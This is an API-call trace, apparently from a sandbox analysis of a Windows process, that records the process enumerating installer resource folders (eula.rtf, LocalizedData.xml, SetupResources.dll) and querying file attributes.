	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0070.339] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.340] VirtualAlloc (lpAddress=0xc000236000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000236000
	[0070.340] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0070.341] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0070.341] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025" (normalized: "c:\\588bce7c90097ed212\\1025"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.347] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025" (normalized: "c:\\588bce7c90097ed212\\1025"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.347] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df80
	[0070.347] VirtualAlloc (lpAddress=0xc000238000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000238000
	[0070.348] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.348] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.348] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.348] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.348] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.348] FindClose (in: hFindFile=0x1619f39df80 | out: hFindFile=0x1619f39df80) returned 1
	[0070.348] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.348] VirtualAlloc (lpAddress=0xc00023c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023c000
	[0070.349] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6)) returned 1
	[0070.363] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.363] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358)) returned 1
	[0070.364] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.364] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f)) returned 1
	[0070.384] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.388] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.388] SetEvent (hEvent=0x188) returned 1
	[0070.388] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028" (normalized: "c:\\588bce7c90097ed212\\1028"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.406] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028" (normalized: "c:\\588bce7c90097ed212\\1028"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.407] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0070.407] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.407] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.407] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.407] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.408] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.408] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0070.408] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.408] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90)) returned 1
	[0070.447] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.447] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758)) returned 1
	[0070.460] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.460] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5)) returned 1
	[0070.460] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.460] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.461] SetEvent (hEvent=0xe4) returned 1
	[0070.461] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029" (normalized: "c:\\588bce7c90097ed212\\1029"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.718] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029" (normalized: "c:\\588bce7c90097ed212\\1029"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.718] VirtualAlloc (lpAddress=0xc00007e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007e000
	[0070.719] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0070.719] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.719] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.719] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.719] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.719] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.719] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0070.719] VirtualAlloc (lpAddress=0xc000300000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000300000
	[0070.720] WriteFile (in: hFile=0x0, lpBuffer=0xc00000c580, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.720] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a)) returned 1
	[0070.720] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.720] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0070.720] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.720] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e)) returned 1
	[0070.787] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.787] WriteFile (in: hFile=0x0, lpBuffer=0xc000066200, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.787] SetEvent (hEvent=0xe4) returned 1
	[0070.787] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030" (normalized: "c:\\588bce7c90097ed212\\1030"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.799] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030" (normalized: "c:\\588bce7c90097ed212\\1030"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.799] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0070.800] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
